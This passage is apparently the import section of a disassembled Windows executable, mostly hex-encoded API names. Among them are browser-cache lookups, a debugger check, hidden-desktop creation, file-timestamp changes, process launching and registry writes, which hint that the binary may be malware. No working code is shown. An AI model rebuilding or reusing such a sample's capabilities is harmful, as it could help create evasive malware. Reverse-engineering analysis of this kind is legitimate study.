		assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing
		dd 4D0B4h, 2 dup(0)
		db 0CCh
		db 0D2h, 4, 0
		dd 48340h, 4D0BCh, 2 dup(0)
		dd 4D2ECh, 4834Ch, 4D0C8h, 2 dup(0)
		dd 4D32Ch, 4835Ch, 4D0DCh, 2 dup(0)
		dd 4D37Eh, 48374h, 4D1B8h, 2 dup(0)
		dd 4D710h, 48454h, 4D230h, 2 dup(0)
		dd 4D8F4h, 484D0h, 4D248h, 2 dup(0)
		dd 4D952h, 484ECh, 4D280h, 2 dup(0)
		dd 4DA64h, 48528h, 5 dup(0)
		dd 4D2DAh, 0
		dd 4D2F8h, 4D312h, 0
		dd 4D336h, 4D34Ah, 4D35Ch, 4D36Ch, 0
		dd 4D38Ch, 4D39Ah, 4D3A8h, 4D3C4h, 4D3D6h, 4D3ECh, 4D402h
		dd 4D410h, 4D41Eh, 4D42Eh, 4D444h, 4D458h, 4D46Ah, 4D47Ch
		dd 4D492h, 4D4A0h, 4D4B0h, 4D4C0h, 4D4CEh, 4D4DEh, 4D4F6h
		dd 4D50Eh, 4D520h, 4D534h, 4D546h, 4D55Ch, 4D574h, 4D584h
		dd 4D594h, 4D5A8h, 4D5B8h, 4D5C4h, 4D5D2h, 4D5DEh, 4D5ECh
		dd 4D5FAh, 4D606h, 4D612h, 4D622h, 4D630h, 4D642h, 4D650h
		dd 4D658h, 4D66Ch, 4D67Ch, 4D68Ah, 4D69Ah, 4D6B0h, 4D6BAh
		dd 4D6C6h, 4D6D6h, 4D6E2h, 4D6EEh, 4D700h, 0
		dd 4D71Ch, 4D72Eh, 4D740h, 4D750h, 4D75Eh, 4D76Ah, 4D77Ah
		dd 4D786h, 4D79Ch, 4D7AAh, 4D7B6h, 4D7C2h, 4D7D0h, 4D7DEh
		dd 4D7F0h, 4D802h, 4D814h, 4D828h, 4D83Ch, 4D850h, 4D864h
		dd 4D870h, 4D880h, 4D892h, 4D8A4h, 4D8B2h, 4D8C4h, 4D8D4h
		dd 4D8E2h, 0
		dd 4D8FEh, 4D910h, 4D91Eh, 4D92Eh, 4D944h, 0
		dd 4D960h, 4D974h, 4D98Ah, 4D99Ch, 4D9AAh, 4D9BAh, 4D9CEh
		dd 4D9E0h, 4D9F2h, 4DA04h, 4DA18h, 4DA34h, 4DA4Ah, 0
		dd 4DA70h, 4DA78h, 4DA88h, 4DA92h, 4DA9Eh, 4DAA4h, 4DAACh
		dd 4DAB6h, 4DAC0h, 4DACAh, 4DAD2h, 4DADAh, 4DAE4h, 4DAEEh
		dd 4DAF6h, 4DB00h, 4DB0Ah, 4DB14h, 0
		dd 61656C6Fh, 32337475h, 6C6C642Eh, 0
aSysallocstri_0	db 'SysAllocString',0
		align 4
aWininet_dll	db 'wininet.dll',0
		dd 69460000h, 6946646Eh, 55747372h, 61436C72h, 45656863h
		dd 7972746Eh, 41h, 646E6946h, 7478654Eh, 436C7255h, 65686361h
		dd 72746E45h, 4179h, 33656C6Fh,	6C642E32h, 6Ch,	72436F43h
		dd 65746165h, 74736E49h, 65636E61h, 0
aClsidfromstrin	db 'CLSIDFromString',0
		dd 6F430000h, 74696E49h, 696C6169h, 657Ah, 6F430000h, 6E696E55h
		dd 61697469h, 657A696Ch, 656B0000h, 6C656E72h, 642E3233h
		dd 6C6Ch, 65440000h, 6574656Ch,	656C6946h, 41h,	74697845h
		dd 636F7250h, 737365h, 78450000h, 646E6170h, 69766E45h
		dd 6D6E6F72h, 53746E65h, 6E697274h, 417367h, 65470000h
		dd 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 43746547h, 65727275h
		dd 7250746Eh, 7365636Fh, 644973h, 65470000h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
aGetfilesize	db 'GetFileSize',0
		dd 65470000h, 6C694674h, 6D695465h, 65h, 4C746547h, 45747361h
		dd 726F7272h, 0
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h
		dd 6F725074h, 64644163h, 73736572h, 0
aGetprocessheap	db 'GetProcessHeap',0
		align 4
		dd 65470000h, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	736F6C43h, 6E614865h, 656C64h, 65470000h, 6D655474h
		dd 74615070h, 4168h, 65470000h,	63695474h, 756F436Bh, 746Eh
		dd 65470000h, 72655674h, 6E6F6973h, 0
aGetversionexa	db 'GetVersionExA',0
		align 10h
aGetvolumeinfor	db 'GetVolumeInformationA',0
		align 4
aGetwindowsdire	db 'GetWindowsDirectoryA',0
		align 10h
aGlobaladdatoma	db 'GlobalAddAtomA',0
		align 10h
		dd 6C470000h, 6C61626Fh, 656C6544h, 74416574h, 6D6Fh, 6C470000h
		dd 6C61626Fh, 646E6946h, 6D6F7441h, 41h, 626F6C47h, 654D6C61h
		dd 79726F6Dh, 74617453h, 7375h,	6E490000h, 6C726574h, 656B636Fh
		dd 636E4964h, 656D6572h, 746Eh,	73490000h, 52646142h, 50646165h
		dd 7274h, 73490000h, 57646142h,	65746972h, 727450h, 73490000h
		dd 75626544h, 72656767h, 73657250h, 746E65h, 6F4C0000h
		dd 694C6461h, 72617262h, 4179h,	6F430000h, 69467970h, 41656Ch
		dd 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aLocalfree	db 'LocalFree',0
		align 10h
aOpenmutexa	db 'OpenMutexA',0
		align 4
		dd 704F0000h, 72506E65h, 7365636Fh, 73h, 64616552h, 656C6946h
		dd 0
aRtlunwind	db 'RtlUnwind',0
		align 4
aRtlzeromemory	db 'RtlZeroMemory',0
		align 4
aCreatefilea	db 'CreateFileA',0
		dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0
aSetfiletime	db 'SetFileTime',0
		dd 6C530000h, 706565h, 65540000h, 6E696D72h, 50657461h
		dd 65636F72h, 7373h, 69560000h,	61757472h, 6C6C416Ch, 636Fh
		dd 69560000h, 61757472h, 6572466Ch, 65h, 74726956h, 516C6175h
		dd 79726575h, 0
aWidechartomult	db 'WideCharToMultiByte',0
		dd 69570000h, 6578456Eh, 63h, 74697257h, 6C694665h, 65h
		dd 61657243h, 754D6574h, 41786574h, 0
aLstrlena	db 'lstrlenA',0
		align 4
aLstrlenw	db 'lstrlenW',0
		align 10h
aCreateprocessa	db 'CreateProcessA',0
		align 10h
		dd 72430000h, 65746165h, 65726854h, 6461h, 72657375h, 642E3233h
		dd 6C6Ch, 61430000h, 69576C6Ch,	776F646Eh, 636F7250h, 41h
		dd 57746547h, 6F646E69h, 78655477h, 4174h, 65470000h, 6E695774h
		dd 52776F64h, 746365h, 69460000h, 6957646Eh, 776F646Eh
		dd 41h,	57746547h, 6F646E69h, 77h, 43746547h, 7373616Ch
		dd 656D614Eh, 41h, 46746553h, 7375636Fh, 0
aGetforegroundw	db 'GetForegroundWindow',0
		dd 6F4C0000h, 75436461h, 726F7372h, 41h, 54746553h, 72656D69h
		dd 0
aLoadicona	db 'LoadIconA',0
		align 4
aMessageboxa	db 'MessageBoxA',0
		dd 65470000h, 73654D74h, 65676173h, 41h, 57746547h, 6F646E69h
		dd 6E6F4C77h, 4167h, 65530000h,	6E695774h, 4C776F64h, 41676E6Fh
		dd 0
aCreatedesktopa	db 'CreateDesktopA',0
		align 4
		dd 65530000h, 72685474h, 44646165h, 746B7365h, 706Fh, 65470000h
		dd 72685474h, 44646165h, 746B7365h, 706Fh, 72540000h, 6C736E61h
		dd 4D657461h, 61737365h, 6567h,	69440000h, 74617073h, 654D6863h
		dd 67617373h, 4165h, 73770000h,	6E697270h, 416674h, 65530000h
		dd 654D646Eh, 67617373h, 4165h,	65520000h, 74736967h, 6C437265h
		dd 41737361h, 0
aPostquitmessag	db 'PostQuitMessage',0
		dd 68530000h, 6957776Fh, 776F646Eh, 0
aCreatewindowex	db 'CreateWindowExA',0
		dd 65440000h, 6F727473h, 6E695779h, 776F64h, 6F4D0000h
		dd 69576576h, 776F646Eh, 0
aDefwindowproca	db 'DefWindowProcA',0
		align 4
aGdi32_dll	db 'gdi32.dll',0
		align 10h
aGetstockobject	db 'GetStockObject',0
		align 10h
		dd 65530000h, 436B4274h, 726F6C6Fh, 0
aSettextcolor	db 'SetTextColor',0
		align 10h
aCreatebrushind	db 'CreateBrushIndirect',0
		dd 72430000h, 65746165h, 746E6F46h, 64610041h, 69706176h
		dd 642E3233h, 6C6Ch, 704F0000h,	72506E65h, 7365636Fh, 6B6F5473h
		dd 6E65h, 65470000h, 6B6F5474h,	6E496E65h, 6D726F66h, 6F697461h
		dd 6Eh,	43676552h, 74616572h, 79654B65h, 417845h, 65520000h
		dd 6F6C4367h, 654B6573h, 79h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa	db 'RegSetValueExA',0
		align 10h
		dd 65470000h, 63655374h, 74697275h, 666E4979h, 6Fh, 53746553h
		dd 72756365h, 49797469h, 6F666Eh, 65530000h, 746E4574h
		dd 73656972h, 63416E49h, 416Ch,	65470000h, 64695374h, 6E656449h
		dd 69666974h, 75417265h, 726F6874h, 797469h, 65470000h
		dd 64695374h, 41627553h, 6F687475h, 79746972h, 0
aGetsidsubautho	db 'GetSidSubAuthorityCount',0
aCrtdll_dll	db 'crtdll.dll',0
		align 10h
		dd 695F0000h, 616F74h, 5F5F0000h, 4D746547h, 416E6961h
		dd 736772h, 735F0000h, 7065656Ch, 0
a_stricmp	db '_stricmp',0
		align 10h
aAbs		db 'abs',0
		dd 78650000h, 7469h, 656D0000h,	706D636Dh, 0
aMemcpy		db 'memcpy',0
		align 10h
		dd 656D0000h, 7465736Dh, 0
aRaise		db 'raise',0
		align 4
aRand		db 'rand',0
		align 4
aSignal		db 'signal',0
		align 4
		dd 70730000h, 746E6972h, 66h, 6E617273h, 64h, 61637373h
		dd 666Eh, 74730000h, 74616372h,	0
aStrchr		db 'strchr',0
		align 4
		dd 74730000h, 6D636E72h, 70h, 138h dup(0)
_idata		ends


		end start